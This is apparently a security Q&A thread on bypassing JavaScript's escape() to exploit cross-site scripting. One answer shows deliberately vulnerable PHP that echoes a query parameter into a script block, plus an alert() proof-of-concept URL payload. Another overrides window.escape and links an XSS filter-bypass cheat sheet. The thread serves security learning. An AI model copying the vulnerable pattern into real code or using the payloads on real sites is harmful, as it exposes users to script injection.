Is there a way to bypass escape function in javascript?

Question

Is there a way to bypass escape function in javascript for exploiting a XSS vulnerability ?

Answer 1

Sure, lets say you have the following PHP code that is vulnerable to XSS:

<?php
print "<script>var t=escape('".$_GET['t']."')</script>";
?>

You can supply this file with the following XSS Prof of Concept to get an alert window:

http://localhost/xss.php?t=');alert('xss');//

Answer 2

If you need to override the escape function for whatever reason (I am assuming an already persistent XSS?) I am pretty sure you can override it by creating an anonymious function similar to this:

(function() {
   window.escape = function() {
      return true;
  };
})();

If however you are looking for general bypassing XSS filters I recommend reading and trying this XSS cheat sheet: http://ha.ckers.org/xss.html